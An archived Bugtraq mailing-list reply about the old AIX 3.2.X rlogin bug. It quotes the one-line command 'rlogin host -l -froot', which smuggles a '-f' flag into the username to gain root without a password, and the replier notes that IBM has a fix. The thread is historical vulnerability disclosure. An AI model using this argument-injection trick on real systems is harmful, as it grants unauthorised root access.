Bugtraq: Re: -froot??? (AIX rlogin bug)

[baba () ph-meter beckman uiuc edu (Baba Z Buehler)]

ericw () fx com (Eric Wedaa) writes:

> Someone over on the firewalls mailing list just threw out this tidbit:
>
>    rlogin aix.machine -l -froot
>
> For instance:
>  
>    rlogin foobar -l -froot
>
> This gives you root access on any AIX 3.2.X machine.
>
> Does anyone have any history on this trapdoor?  Apparently
> it also existed in Linux several generations ago.
That's a bit old, and I believe IBM has at least an "unofficial" fix for
it now.  

I run some Linux systems, and I haven't seen the problem in any of the
Linux 1.x releases.

b
--
# Baba Z Buehler
# Beckman Institute Systems Services, Urbana Illinois
#
#  "How come that big box of bright ideas you sent
#   me is the one they say fell off the truck?"  -- Butch Hancock
#
# WWW: http://www.beckman.uiuc.edu/groups/biss/people/baba/
# PGP Public Key available via finger baba () beckman uiuc edu